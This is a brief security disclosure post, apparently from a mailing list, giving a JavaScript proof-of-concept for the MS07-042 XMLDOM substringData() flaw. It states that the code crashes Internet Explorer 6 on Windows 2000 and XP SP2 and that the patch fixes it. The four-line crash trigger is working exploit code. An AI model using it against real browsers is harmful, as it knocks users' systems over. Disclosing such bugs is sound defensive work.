MS07-042 XMLDOM substringData() PoC

[Alla Bezroutchko <alla () scanit be>]

This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

    var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
    xmlDoc.loadXML("<dummy></dummy>");
    var txt = xmlDoc.createTextNode("huh");
    var out = txt.substringData(1,0x7fffffff);

Installing the patch from MS07-042 fixes it.

Cheers,
Alla Bezroutchko
